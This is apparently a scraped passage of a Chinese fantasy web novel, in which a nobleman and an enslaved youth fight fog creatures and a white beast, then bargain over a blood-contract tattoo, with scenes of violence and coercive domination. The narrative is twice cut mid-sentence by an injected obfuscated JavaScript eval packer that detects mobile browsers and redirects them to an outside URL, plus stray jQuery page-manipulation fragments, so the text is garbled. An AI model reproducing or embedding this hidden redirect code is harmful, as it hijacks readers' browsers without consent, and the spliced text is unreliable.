他抓住衣兜里所剩不多的石子,企图割破阮玉山缠在自己手腕处的披风——阮玉山的披风是红州特有的天丝水绒锦,又轻又韧,老太太当年特地挑了州内最出色的三十个绣娘绣了一年才织出这么一匹,针脚密度极高,颜色也是上等的朱砂红,寻常刀剑难以割破,遑论区区一颗石子。 九十四自然知道这样只是徒劳,阮玉山何等身份,即便他不清楚也多少能看出个高低,朱红色的披风用石子划下去见不到一丝毁坏的痕迹,纵使如此,不到最后一刻他也不愿停下。 屋子里充斥着数不清的尘沙,已到了难以辨物的地步。 地上漩涡挟裹这阵突如其来的风暴追逐到他们脚下,连同那支木头做的长枪也卷到了阮玉山脚边。 阮玉山捡起木枪,将自己同九十四绑在一起的那只手反过去扣住对方,低声问道:“急了?” 九十四停下割披风的动作,并不作答。他死死盯住阮玉山的手,恨不得张嘴下去一口咬断。 漩涡里伸出无数形似花草根茎的藤条,将他们拽入地下。 黑烟缭绕的大雾伴随着浓重的恶气包裹住二人,阮玉山对这样的气味最熟悉不过。 七岁那年他爹娘战死关外,八十高龄的老太太带着他千里奔袭,硝烟散尽的战场随处可见散落的无名尸骨,这是人肉腐烂后的气味。 两个人不约而同地睁大双眼——越是在这种情况越不能生怯,一旦闭上眼睛错过自己怎么来的,兴许就再也找不到回去的生路了。 可惜雾气太重,他俩眼睛瞪得跟牛似的也看不清周遭事物。 很快双脚得以着地,但随之而来的是扑鼻的血腥气味。 刚才那股腐烂的尸臭也并未消失,反而愈发浓厚。 稍微不注意让鼻子换个气,三天前的隔夜饭都能吐出来。 不过眼前这俩人比较特殊,隔夜饭无论无何都不会吐出来。 因为阮玉山多年沙场奔波早已习惯了这股味道,而九十四前三天根本没有吃饭。 脚下的土地软得像没夯实的湿泥,蹬一脚能感受到地面的蠕动。 阮玉山眯了眯眼,心里大抵清楚脚下是什么玩意儿。 九十四对此全无经验,好在比这跟更恶劣的环境蝣人也经历过。毕竟饕餮谷年年六月要往天子城运送成批的蝣人以供天子公卿赏玩享用,盛夏酷暑,正是容易发生腐烂的季节,蝣人屈在笼子里被拉着一路南下,跟什么恶心的东西都一起待过。 这许多年来,若不是谷主留着九十四另有他用,凭他数次在天子城斗兽场的表现和本事,早就有许多王公贵族背地里打过主意。 现下他也闻出了周围这股沤在空气中的腥臭和腐烂气味。身边浓雾包裹,左右两边什么也望不见,只有个见了还不如不见的阮玉山。 九十四干脆蹲下身,往脚边仔细搜寻,发现脚底这湿软的淤泥是暗沉沉的红色。 而这股直逼天灵盖的恶臭正是从这片淤泥里发出的。 他皱了皱眉,正要忍着这个气味低头仔细去看时,地上突然冒出了一支白森森的肉芽。 这东西像是个活物,冒出地面后围着九十四探头探脑,又用芽尖碰了碰他的鞋,似乎是想做什么,又因为某种缘故而犹豫。 九十四非常不喜欢这玩意儿碰他的鞋。 衣棚的老板亲手送的鞋,他这辈子还没穿过那么好的东西,才第一天就给碰坏的话,不管是肉芽还是别的什么芽,他都不会放过它。 于是在肉芽第二次试着用顶部戳他的鞋时,九十四给了这东西一巴掌。 谁知巴掌落下去时,这东西非常敏捷地躲开不说,还好似被激怒般顶起尖角往九十四的手背猛然扎了一把。 这一扎先是给九十四带来不经意的疼痛感,他撤回手掌,没来得及检查伤口,只听见低低的“嗞啦”声,很类似刚才在房里他放血时听到的动静。 九十四定睛一看,那肉芽刺破他手背后沾了他的血,很快发出剧烈的战栗,如同浑身被烈焰焚身似的挣扎摇摆,不过眨眼功夫,便倏的枯萎,倒在淤泥中再无生气。 跟他绑在一块儿的阮玉山就没那么轻松了。 数根细长尖锐的茎蔓从淤泥地里冲出来,比九十四脚边那支肉芽粗壮锋利百倍。他们先是明白九十四的肉身轻易刺不得,便趁他不备飞快地从后背绕过来缠住他的四肢和脖子,以免九十四做出自伤举动,再次放血。 其余的本要效仿,哪晓得阮玉山手中那杆木枪压根不是吃素的。 他眼疾手快拆了捆住九十四和自己的披风,一手将其不断在手中旋转以抵御茎蔓的刺攻,另一手拿着长枪,枪枪将茎蔓刺个对穿,几招下来,木枪矛头好似有了活性,于阮玉山愈发得心应手起来,枪头的符咒处也隐隐闪现了血光。 那些茎蔓同他越斗越急性,大抵是因为一时拿他不下,二人周边浓雾竟骤然缩小了范围。 浓稠的雾气看似棉花般留有余地,当真触碰到时只如铜墙铁壁,毫无让人后退的空间。 须臾,两个人在雾中,竟是连转身也困难了。 阮玉山双臂施展不开,九十四被茎蔓束缚无法动弹,连五指都缠满藤条。九十四的血带着那罗迦的邪性,这些东西见杀他不得,似乎是想活活把他勒死。 阮玉山的身后,从大雾中悄然伸出一根茎蔓。 这时九十四那边气息逐渐变得微弱了,阮玉山甚至快感受不到。 再度斩断一根脚下的茎蔓后,他抽出空子朝九十四看了一眼。 不知是否是由于他斩杀的蔓条的太多,损耗了这迷雾阵太多气力,就这一眼,阮玉山忽然瞥见他二人的头顶雾气变稀了。 雾气之外,他竟然看见了月下山头朝西的过山峰! 沙佘关就在过山峰脚下,这说明他们所处的迷雾阵并非幻境,不仅如此,他们很有可能还在村子或者附近。 阮玉山对着夜空那轮月亮和朝西的山头凝望片刻,心中有些许怪异,却暂时没力气思索。 就在此刻,他骤感腹间一痛。 阮玉山低头,只见一根四指粗的茎蔓从他后背刺过肋下,将他捅了个对穿! 他冷冷注视着那截在他腰腹露头的蔓条,眼中终于出现两分寒意,遂手起枪落,就着这个位置将蔓条的头部直接砍断。 不过杀了几捆血□□蔓,他的木枪竟已锋利至此。 一对急迫和锐利的目光朝他射来,阮玉山抬头,撞上九十四的双眼。 兴许毒雾吸多了的错觉,他恍惚看着,九十四那对眼珠子的蓝色较之白天更明显了一些,几乎快找不到黑色的部分。 九十四则一眼不眨地盯着他的枪。 阮玉山一看便知——九十四是要他拿枪/刺过去。 只要他一枪/刺破对方的身体,眼下危机即可迎刃而解。 可是这样杀性的枪,要真把九十四刺穿,血哗哗流了,邪物是退了,九十四这个血袋有没有得活还得另说。 九十四见他不动,简直快吼出声:“你……等什么!” 阮玉山的五指将枪杆越握越紧,手背的青筋也愈发凸现。 第二根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080540|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茎蔓从浓雾横冲过来,刺穿了阮玉山的小腿。 九十四感觉自己头脑阵阵发昏,也不知是被茎蔓勒的还是被阮玉山气的。 就在他准备一不做二不休直接咬断舌头放血的当儿,远远的,从大雾外围传来模糊的狼叫。 再仔细听,又不像狼。 九十四听着听着,蓦地一愣:自己怎么还有功夫去细听别的动静? 他低眼,发现绑在自己四肢和脖子上的所有茎蔓都松开了,并且大雾和他们脚下的淤泥也停止了涌动,整个阵法中的邪物都在那场叫声过后莫名静止,宛如察觉到某种危险,只等一个时机就立马撤退。 似狼非狼的叫声第二次从不远处响起,这回离他们更近了。 顷刻间整个浓雾急速退散,连带着脚下的腐肉淤泥,还有地下长出的那些蔓条和肉芽,一个呼吸的功夫便消失不见。 像有鬼在屁股后头追。 阮玉山的神色更凝重了。 这是他二十二年来第一次听见那罗迦的叫声。 凭他多年在外的经历,今晚浓雾中的妖物已是极其罕见,能让它们闻风丧胆,又有着这样诡异叫声的存在,非那罗迦无疑。 若是一只的话,他们两个人鱼死网破还能拼上一把,可那罗迦从来都是群体出没。 就这会子功夫,他就已经看到了三丈开外几双青绿色的眼睛正垂涎三尺地盯着他们。 不,是盯着他, 小腿和腰腹被捅穿的伤口正血流如注,阮玉山闹腾了一夜,到底有些乏累了。 他将手中长枪一扔,席地坐下,对着九十四看了片刻,突然起了吓唬的心思:“欸。” 九十四抬起眼皮望向他,同时在地上摸到两块石子,顺手捏在掌心里。 两个人的模样都挺狼狈,阮玉山一边缓气,一边对九十四问道:“你知道,一群那罗迦出现在野外,意味着什么?” 九十四摇头。 “意味着那里尸横遍野,怨气盈天,方圆数里找不到一个活物。”阮玉山舔舔嘴唇,感觉胸口有点发凉,大概是失血过多了。 他那双窄长的丹凤眼直勾勾盯着九十四的脸,回忆起方才九十四逼他拿枪/刺向自己的情景。 那时他没动,九十四竟然恼了。 九十四蹙眉恼怒的样子让他喉间发紧,阮玉山不知不觉又舔了下嘴唇:“那你知道,怎么在一群那罗迦里,分辨它们的王吗?” 九十四还是摇头。 这些东西他听都没听过,对于那罗迦了解得最多的也不过是从驯监闲暇交谈时得知,这东西满身是毒,从皮毛到血液再到内脏,随便拿一样出来都是天下最邪性的存在,就连妖魔鬼怪见了也只能退避三舍,偏唯独蝣人的血能克华得动。 因此之前在屋子里,他才敢堵上一把,引妖魔入室。 哪晓得阮玉山真拿命跟他玩。 阮玉山指指自己的头顶:“白毛。” 九十四歪头,像上学堂的学生等着阮夫子继续解释。 阮玉山眸光微闪,好像察觉到了一点拿捏九十四的窍门儿。 他咳嗽两声轻了轻嗓,又换了个舒服的姿势,放任自己的身上的血往外淌:“那罗迦这东西,寻常是浑身黝黑,唯独两个眼珠子发青。他们的头领不像狼群狮群那样从争斗里选,而是从一出生就定了。” 九十四听得认真。 可眼下讲到起劲儿的地方,阮玉山不说了,就这么似笑非笑看着他。 他很想知道,便开口催问:“为什么?” 阮玉山的笑一下子收起来,冷不丁对九十四说:“道歉。” 16.你敢 九十四认为阮玉山太过小气。 自己不过是略施小计企图跟对方换取人身自由,并非真想叫阮玉山去死——阮玉山能死当然最好,但至少还是等他解除了刺青血契之后。 退一步讲,阮玉山又是当众扒他的衣服又是给他刺刺青,他也没叫阮玉山道歉。 这会子想知道点新鲜东西还得先请了罪才能听。 这事儿做得还不如他一个蝣人坦荡。 他将靠向阮玉山的上半身坐回去,眉头一皱,咬着牙低头嘀咕:“小人。” 阮玉山:? 他指着自己,莫名其妙到心里发笑:“我?” 他觉得自己简直冤枉得可怜了。 九十四今夜一个石子儿险些要了两个人的命,他不过是想要个道歉,怎么就成了小人? 不过九十四愠怒的样子很合他的眼。 是几时起这个蝣人敢接二连三对着他发脾气了? 阮玉山不慌不忙地反问:“我是小人,那你是什么?” 九十四抬起下巴,眉头展开,清亮的月光照在他略微挂彩的脸上,肉眼找不到一丝皮肤的纹路,使他看起来像一尊沾了灰的白瓷:“君子。” 阮玉山嗤了一声,表示不屑。 接着他又觉得不对劲,九十四一个蝣人,还知道什么是君子,什么是小人? 于是他问:“为什么?” 九十四也果断拿乔,不告诉他原因,只说:“道歉。” 阮玉山笑了。 北方的秋天到了夜晚便十分寒冷,他腿部和腰腹的伤口不过谈几句天的功夫便慢慢凝固。 阮玉山动了动,把两处伤口崩开,鲜血继续从伤口里流出来,浸透了层层衣料,开始滴落到地上。 他的身体周围慢慢散发出淡淡的血腥气。 数丈开外的丛林后,终于闪过一抹白色的影子。 他学九十四的动作,捡起一块石头扔过去,不痛不痒地砸到九十四的鞋子上:“还听吗?” 鞋面落下一块小小的污点,九十四想擦擦自己的鞋,一伸手发现手比鞋还脏,便作罢了,只看着阮玉山,示意对方接着说。 “那罗迦这东西,前身还是佛国之主时,打出生起便是满头白发。”阮玉山挪到九十四的旁边,漫不经心地拿出解磁石,打开了九十四的锁链,“因此沦落为畜生后,每一群那罗迦里,都会诞生一头,从耳后到尾巴,后背上长白毛的同类。” 他抬手比了一根手指:“每一群里只有一头,从出世起,就是它们的首领。” 九十对着自己解开了镣铐的手腕,略感意外。 他没想到自己的手铐得以解开是在这种境况下。 “玄境不够高的人血引不来领头的那罗迦。”阮玉山面色如常,扶着旁边的树木起身,问九十四最后一个问题,“你可知这东西最薄弱的地方是何处?” 九十四沉思片刻:“心脏?” 那罗迦的肉身不死不灭,它们心脏最为薄弱的原因与寻常生灵并不相同。 前身为王时,作为佛国的暴君,那罗迦被母亲与西方诸神联手诛杀。母亲的那一剑正好从他的后背刺穿心脏,这是导致那罗迦死亡的致命一击。 当他的魂灵散落到娑婆世界沦落为野兽后,心脏后方的背部皮毛是那罗迦唯一柔软的地方,那是前世母亲在他身上留下的最后的痕迹。 那罗迦是肉身永生的恶犬,举凡出没,必定成群结伴,若是遇到了,要想活命,就得找准它们的头领,趁其不备从后背一把攻其心脏。 虽然死不成,但也够被刺中的那罗迦缓一阵子。 头领受伤,其他那罗迦便不敢轻举妄动。 只是要从一堆那罗迦中引出它们的头领很难,肉/体凡胎,要在一群那罗迦眼皮子底下攻击头领的心脏更是难上加难。 但九十四可以成为例外。 阮玉山一脚将自己的木枪骨碌碌踢到九十四手边:“身上流着那罗迦的血,会被它们当作同类。” 他的伤口流血流得足够多了,多到周身血腥气飘出了很远,阮玉山甚至能闻到蛰伏在暗中的那些那罗迦哈喇子的气味。 “拿枪。”阮玉山抄着胳膊,垂眼看着九十四,“你不是很想试试?” 九十四侧头,静静瞧看对这根细细的枪杆,枪头处被阮玉山雕刻出的符文依旧泛着血光。 他一把攥到手里。 拇指指节契到枪杆中间的凹陷处,有凝固的血迹,那是阮玉山拿枪的位置。 他明白阮玉山要他做什么。 当九十四握住枪从地上站起来的时候,阮玉山提醒道:“不想死的话,跑快点。” 说完便转身,头也不回地朝林子深处奔去。 十数只隐匿在暗处的那罗迦一跃而起,发出冲天的呼声,在这个寂静又诡谲的长夜响彻四方,足以使方圆十里所有生灵毛骨悚然。 在兽群的最后方,一头通体雪白的那罗迦慢慢踱步而出。 这只那罗迦同阮玉山先前告诉九十四的兽群首领长得并不一样,它浑身看不见一丝黑色的杂毛,足足有半人来高,平地行走时健壮的脊背缓慢起伏,威风凛凛。 这头眼神十分的从容镇静,生得是背宽腿长,爪子起码有三尺来厚,两个耳朵更是直逼九十四的腰部。 前边那群那罗迦的体型同它比起来,不过是小巫见大巫。 现下时机来不及让九十四细想,眼前的野兽朝阮玉山奔去的方向定住视线,霎时间便飞跃而起,似疾风般席卷而去。 九十四拔腿就追。 蝣人生在饕餮谷,吃不饱穿不暖,干什么都不行,唯独两条腿跑起来健步如飞。 林子里的那罗迦在前头追捕阮玉山,九十四宛如一头猎豹紧随其后穷追猛赶。 一人一兽,像两道迅猛移动的闪电,穿过无数头被甩下的那罗迦,连叫嚣的风声都慢它们半步。 阮玉山放了一路的血,跑得整个喉咙和口腔满是铁锈气,汗水打湿他的头发和衣襟,浸泡着他的伤口,身后沉重的脚步声越来越近,越来越近,天然凶兽的杀意步步直逼他的后脑勺。 直到一道浑厚的吟啸声传来过后,他被一只重似千钧的兽掌拍倒在地。 阮玉山没时间喊痛,当即一个翻身滚到一侧,仰面看向朝自己扑来的那罗迦时,神色亦是一震。 浑身全白的那罗迦! 天下诸兽,遍布娑婆独此一头。 所过之处,凡有那罗迦无不听其号令。 难怪这地儿的妖物听到点风吹草动跑得跟撞鬼一样。 那罗迦可比鬼骇人得多。 阮玉山已退无可退。 他皱着眉头长呼了一口气,感觉今儿是阎王拿着雷公锤敲门索命来了。 阮玉山一不做二不休,左右生死只能看天,干脆卯足了全身力气,集中浑身骨珠的玄气于双臂,交叉挡在头顶,准备硬生生接下那罗迦扑过来的一爪。 对面的那罗迦腾空而起,离他不过半丈远,只要落地,一只兽掌就能拍碎他的脑袋。 巨型野兽起身时带出的风都有股呼啸的架势,阮玉山沉着气,忽然有点后悔今晚没来得及解开九十四后背刺青符咒。 真要死了,那个叫九十四的蝣人化作鬼魂后也一定会拉着个脸恨他个千八百年才肯罢休。 奈何娑婆世没有轮回,人死了化作黄土一抔,阮玉山心里可惜,看不到九十四死后乜斜个眼瞪他的样子。 他倒不是多喜欢这个蝣人。 只是好奇鬼魂瞪人跟活人会不会一样?不知道九十四脸上的灰死了还能不能洗。 天底下独这一个有意思的蝣人,就这么给他陪葬,是好也不好。 好在生前的喜怒哀乐只他阮玉山一个人瞧过,不好在要是这会儿死了九十四估计真得恨他一辈子。 他还没瞧过九十四给他好颜色是什么样。 那么琉璃似的一张脸。 阮玉山眼睁睁看着那罗迦的爪子盖下来,一片小山重的阴影覆到他额前,他吸了口气,只道九十四追不上这只那罗迦头领也是寻常——这只野兽比它其他任何一只同类都强上太多。 兽掌离他的胳膊还有数尺时忽然转了个向,跟随这头野兽突如其来的一声怒吼拍向它的后方。 九十四的枪术大约等同于无他,只会两手握紧长枪从那罗迦的身后一跃而起,直直插/入它的后背。 可这只毕竟是兽王,九十四拿着木□□穿它的皮毛,尚未能捅/入它的心脏,就被它的后背猛然震落,滚到地上。 那罗迦背上插着一根刺了一半的木枪,调过头来要找九十四的麻烦。 阮玉山见形势有变,从地上挺身而起,集中玄气的双臂趁此机会一把朝上,直捣那罗迦前胸心口! 这一拳的力量可不轻,那罗迦仰天长啸,嘶吼几乎震动八方。 九十四同阮玉山对了个眼色,攀着那罗迦侧方皮毛再度飞身跃到它的背上。 阮玉山知道九十四很快就会成功了。 这是一个解开了锁链囚/禁的蝣人。 十八岁的九十四第一次感受到没有任何禁锢的玄气充沛四肢和五脏六腑,即便没有规行矩步的招式,仅凭这与生俱来的一身野蛮玄力,就足够他单手把天下最凶猛的兽王捅个对穿。 果然,下一瞬,一把枪头从那罗迦的前胸刺出,伴着痛快的“噗呲”声,绿油油的兽血从撕裂的皮囊中喷洒而出,落了满地。 伏在兽背上的九十四双手握枪,慢慢在月下抬头,半张脸上淌着淅淅沥沥的兽血。 他眼中的杀气和狰狞还没褪去,那罗迦的血从他的眉尾滴落到睫毛,又顺着皮肤滑到下颌,像白釉上随手抛了一把融化的绿蜡,呈现出一种诡异又惊人的艳丽。 他日后一定会很了不得。 阮玉山看着兽背上的九十四这样想。 蝣人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084001|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自古就是世间最强的存在。 阮玉山的眼角染上一丝不自知的笑意,好像他已经透过这晚的月色看见一个初具雏形的真正的九十四,而那样的九十四成形的第一步,是由他亲手打磨的。 那罗迦的嘴中发出一声濒死的呜咽,九十四拔出木枪,从它的背上翻身下来。 野兽随之轰然倒下。 不远处兽群的追随声渐渐杳然,头领陷入短暂的“死亡”,它们不敢隐入黑暗,不敢轻举妄动。 阮玉山席地而坐——他流了太多的血,需要片刻的喘息了。 “这头那罗迦伤了心脏,假死也得死上个一天一夜。”阮玉山撕扯下自己衣摆的一角,对腰腹和腿部进行简单的包扎,“待会儿从它身上放点血,回去洒在院子里,休整几天,那些东西不敢来犯。” 九十四没有说话,他站在一旁观察阮玉山的脸色,发现这人失血过多,脸上已没了血色,亏得底子厚,还有力气说话走路。 阮玉山现下需要的不是绵长的休整,他更急需一些药物来补充体力。 而天下最补的好药,就在这里。 九十四走到旁边的林子里摘下一片不小的叶子,回来蹲在阮玉山身前,用枪头割破自己的掌心,放了满满一叶子的血。 蝣人是裨补的食材,不管哪个时候都一样。 饕餮谷做生意很是周全,那罗迦的血混在蝣人的身体里,主顾吃了无法克华,谷中百年前便花了数十载时间制出调和的药剂混入刺青,只要与买主的血结成血契,蝣人便可任人食用,不必担心那罗迦对主顾造成伤害。 许多远道而来的客人舍不下大把金银买一只蝣人回去,饕餮谷时常会抓一批蝣人专门放血,把收集起来的蝣人血一壶一壶装好,用较低的价钱卖给那些散客。 曾经九十四被抓起来放血时也拼死反抗过,只是寡不敌众,除了一顿蘸满盐水的皮鞭以外,什么都没得到。 他觉得被吊起来放血的只有畜生。 九十四看过那些驯监们在篝火旁边烤兔子和羊,只有这些东西被享用之前才会吊起来放血。 饕餮谷无时无刻不把他们当畜生,可九十四最屈辱时便是被吊起来放血和刺下阮家图腾刺青的那一刻。 一个是毫无尊严地任人屠宰,一个是被剥去尊严成为贵族的附庸,像阮玉山身上的狐皮、马靴一样,毫无身体和人格的自主权。 眼下他亲自放了一手的血,递到阮玉山面前。 阮玉山低眉凝视着叶子里的血,又抬眼盯住九十四,目光审视似的变得锐利。 他知道九十四骨子里宁死不屈的性子,正因为知道,才明白这样的行径发生在九十四身上有多反常。 九十四若当真要与他示好,会掘地三尺替他找补给的药材,而非做出自己最厌恶的事,践踏自己的尊严。 于是阮玉山开口,为了激怒九十四一般故意刻薄道:“你倒是……很有做畜生的自觉。” 九十四的眼尾跳了跳,竟难得地没跟他呛嘴,只把血往他嘴边又递过去半寸:“你喝吗?” 半碗大的血汤在叶子上晃荡,阮玉山作势凑过去,刚要张嘴,九十四又把叶子收回去。 果不其然,九十四抬起眼,说:“把我的刺青解了。” 阮玉山盯着他,直勾勾地盯着,随即冷冷哼笑一声。 是了,这才是九十四。 时刻算计,时刻提防,时刻为了自由不择手段。 “哦?”阮玉山不退反进,双手撑在九十四两边,探身过去直逼九十四面门。 二人四目相对。 阮玉山慢悠悠吐着字:“我有说……我要喝吗?!” 他猝然抬手将九十四护在身前的一叶血汤打翻在地。 九十四看着泼洒在一侧的鲜血,眉眼间闪过一瞬恼怒,他回过头对阮玉山恶狠狠道:“那你就死吧!” “那一起吧!”阮玉山模仿九十四满口生疏的远北腔调,也恶狠狠地嘲讽,“反正你身上有我的血契!” 九十四最恨阮玉山提到那片刺青。换衣服要提,睡觉要提,死了也要提! 他怒目而视,忍无可忍,一把扑过去想跟阮玉山打个鱼死网破,哪晓得阮玉山突然从身后摸出之前给他卸下的蝣人锁链,铐也不铐,直接双手逮着锁链两端,找准时机攥住九十四的手腕连绕两圈给人捆了起来。 一旦被链子捆住手,九十四就跟老虎拔了牙一样,干什么都没辙,连打架都缺股劲儿。 阮玉山抓住他后腰把他翻过去,两个膝盖死死压住他的大腿,再将他两条胳膊反过来别到后背。 锁链捆死后,他俯下身扯开九十四左边后肩的衣裳,在九十四耳边喘着气说道:“都说蝣人是世间大补,我今天就要尝尝,到底有多补!” 九十四挣扎不过,听见这话猛然回头:“你敢!” 阮玉山看着他气得发红的眼睛,低下头,一口咬在九十四的肩上。 17.大补 九十四在他手下拼命地挣扎,整个人像条活鱼似的扑腾,奈何四肢被压制得死死的,阮玉山一下嘴,他仰着脖子闷哼一声,就别开脑袋长进气短出气了。 阮玉山咬得用力,但没有真喝九十四的血。 一来他对茹毛饮血这种事情不感任何兴趣,二来九十四太瘦,一口下去咬不着肉,骨头倒先把牙硌了。 不过吓唬九十四他还是很来劲的。 阮玉山嘴上使劲,把九十四的肩咬破了皮,嘴里尝到血腥气,忽然感觉身下的人后背起伏大了,抬起眼一看,九十四不知几时扭过头来睨着他,眉毛压得低低的,颇有点想拿眼神吃人的意思。 阮玉山可不吃这套。 九十四越恨,他越来精神。他就爱看九十四那副恨气的样儿。 阮玉山一点不松口,跟九十四大眼瞪小眼。九十四的皮肤渗出血丝来,阮玉山见他还瞪他,又把力道加了两分。 九十四眉头一皱,终于闭上眼,把额头抵在地面上,不吭声了,只有一丝没一丝地喘气。好像阮玉山咬他这口真的很疼似的,要他全神贯注地忍,才能把这股痛忍下去。 阮玉山哪里是个没分寸的?他嘴下这力道再重那也比刀劈剑砍来得轻多了。 木枪能划破九十四的皮肤哗啦啦地放血,他一口咬下去嘴还没松开血就凝固了。 九十四这反应,倒像他的牙口比刀枪还猛烈似的。 又在欲擒故纵。 不过就算对方是装的,那至少证明九十四愿意对着他服软——不情不愿地服软也是服软,阮玉山心里舒服了些,松口起身,在九十四左肩刺青上方留下一个带血的牙印。 就趁他起身的当儿,九十四身板一下子又灵活了,一个抬头旋身翻过来,双手虽动弹不得,却灵敏地屈折双膝,迫使阮玉山从他身上下来,随后腰腹往上使力,脊背绷直,刚要鲤鱼打挺坐起身,就被阮玉山攥住脚腕扯到了跟前。 九十四前功尽弃,登时目眦欲裂:“滚开!” “学会骂人了。”阮玉山呵了一口气,眼角泛起因为笑意生出的一丝浅浅纹路,负着月光像一片大山似的朝九十四压过去,几乎将九十四圈在自己怀里,一时兴起,竟屈着食指刮了刮九十四下巴,质问道,“哪学的?你那些破烂纸上还写了这个?” 九十四双手攥成拳头,眼睛里都快恨出血丝来。阮玉山捏住他的下颌,免得他把自己的牙给咬碎了。 哪晓得九十四当即低头张嘴,恨不得把阮玉山的虎口撕咬下来嚼个稀巴烂。 阮玉山眼疾手快掐住他的脖子,五指并不收紧,只是将九十四按在地上,不让他动。 他们挨得极近,九十四的胸口由于急促的呼吸剧烈起伏着,一下一下蹭着阮玉山,快速的心跳隔着衣料阵阵传到阮玉山的胸腔,阮玉山的视线赤/裸/裸地在九十四脸上来回打量,随后他的手向下移,拨开九十四本就零乱的衣领,移到那个起伏的位置,却在离某个敏感的地点还有方寸时便停下了。 他的触碰有些浅尝辄止的味道,常年握枪的掌心粗糙有力,贴着九十四温凉的胸膛,手指却绝不乱动,更没有举重若轻地去故意挑拨,似乎只是为了隔着薄薄的皮肤去感受九十四嶙峋的肋骨,还有肋骨下包裹着的那个锋利的灵魂。 这真是一匹很难驯服的野马。 他咧嘴而笑,特地让九十四看见自己染血的牙尖,那是片刻前在九十四的后肩咬下的痕迹。 阮玉山附到九十四的耳边,字字清晰地评判: “蝣人,大补。” 九十四简直跟他同归于尽的心都有了。 以前在饕餮谷,活得虽然残酷痛苦,但挨打就挨打,还没有谁会这样上蹿下跳地拿他当个玩物。 九十四算是明白了,阮玉山这种人,越跟他较真他越是来劲,给他三分颜色他就能开染坊,最好的法子就是装聋作哑置之不理。 于是他动了动,硬生生在阮玉山的压制下把自己转得大面朝地,随后将脖子一扭,闭上眼睛开始睡觉。 阮玉山:“……” 他拽着捆住九十四的那根锁链,向上扯了扯:“喂。” 九十四喘了两下,像是这会儿才顺过气来,不理他。 阮玉山抓着九十四的肩,朝自己这面儿掰。 九十四被他掰得侧过身,眼皮还是冷冷淡淡地半阖下去,一双蓝悠悠的眼珠子遮了一半,透过密密的睫毛漠然地看他。明明是被阮玉山压着,却很有个居高临下的姿态。 阮玉山骑在九十四的腿上,以防他两腿乱动,冲九十四扬扬下巴,命令道:“发誓。” 九十四挑眉。 “发誓,”阮玉山凑到他眼前,“好好待在我身边,决不乱跑——我就把你松开。” 九十四双唇紧闭。 阮玉山对此了然于胸,直起身,慢慢道:“好啊,那咱们就在这儿等死。” 他把九十四的锁链绕在手上打结玩:“反正我这辈子锦衣玉食,该恨的人都杀了,该撒的气也撒了,了无遗憾。” 九十四的神色有了松动。 他恨的人还没有杀,他的气也还没来得及撒,他的族人千千万万代还在笼子里受苦——他不能死。 他沉默了片刻,仰过面儿躺在地上,对阮玉山说:“离开这里之前。” 阮玉山一听,这是跟他谈起条件了。 这条件谈得也是纯粹把人当傻子——离开这里之前不跑,那跑了不就是离开这儿了? 他不跟九十四绕弯子,一锤定音:“在死之前。” 九十四心想,还不如干脆在这儿死了算了。 “一个月。”九十四说。 阮玉山:“十年。” 九十四:“半年。” 阮玉山:“二十年。” 九十四:“一年。” 阮玉山的目光在九十四脸上游走。 他突然想起蝣人一生活不过二十岁的宿命,而九十四显然时刻记得这个诅咒。 九十四把自己仅剩的两年分一半给他,另一半拿去追逐自由,也算是很慷慨了。 阮玉山这一刻好似忘了自己北上一趟的目的,忘了要不了多久这个编号九十四的蝣人跟随他回到阮府的结局是被他一刀取下首级,忘了九十四压根活不到一年以后。 他只是饶有兴趣地跟九十四达成交易:“可以。” 九十四翻过身,爽快地往下面一趴,等着阮玉山给自己解开锁链。 阮玉山笑着没动,对着九十四这个姿势,眼神上上下下地巡视九十四的身体。 他发现九十四虽然瘦,腰还是很韧的,否则刚才也不会抓着一两个眨眼的机会差点就从他手上挣脱了,这全靠腰上那一股力道。 他想起自己刚才无意间握住九十四的那两把腰,真是又紧又有劲儿,隔着衣裳也给他咂摸出味儿来。 顺着腰,阮玉山再往下看,发现该有肉的地方也还是有点儿肉,至少衣服搭在身上,背后一眼看着就有宽有窄,有起有伏。 九十四等了半天不见后面有动静,朝后一瞧,阮玉山正抄着手,皮笑肉不笑地盯他:“你发誓了?” 九十四:“……” 他抿紧嘴,知道这下蒙混不过去了,又有点不甘心,便忍着气地用蚊子叫似的声音说:“我发誓。” 阮玉山:“说完。” 九十四大出一口粗气,闷着声儿,心里要多不甘愿有多不甘愿,甚至很想把阮玉山掀翻了揍一顿。 奈何受制于人,情不得已,只能憋着火说:“一年之内,不离开你。” 这就行了。 阮玉山也不要求多了,要求多了会把人逼急眼,他清楚九十四的性子,再得寸进尺估计免不了又有一场恶战。 于是他慢条斯理地动手给九十四解了绑。 去那罗迦那边放血的时候,九十四用枪划破那罗迦的兽皮,阮玉山摘了叶子在伤口下边接血。 望着被染绿的枪头,九十四若有所思,忽然问:“刚才在雾里,我让你刺我。你不刺,你在想什么?” 阮玉山撩起眼扫他,似笑非笑:“我在想,刺哪个地方,血能流得最多。” “刺大腿。”九十四认真解答,“大腿流得多。” 阮玉山没有反驳,只是问:“你以前在饕餮谷见过有人被刺?” 九十四不说话,大概又是想起哪个同族曾经的遭遇,但总之是默认了阮玉山的问题。 “好了,我知道了。”阮玉山用叶子装够血之后起身,“下次就刺你大腿。” 两个人收拾收拾准备打道回府,九十四抬头看月亮,忽道:“不对。” 阮玉山跟着抬头,也发现了哪里不对。 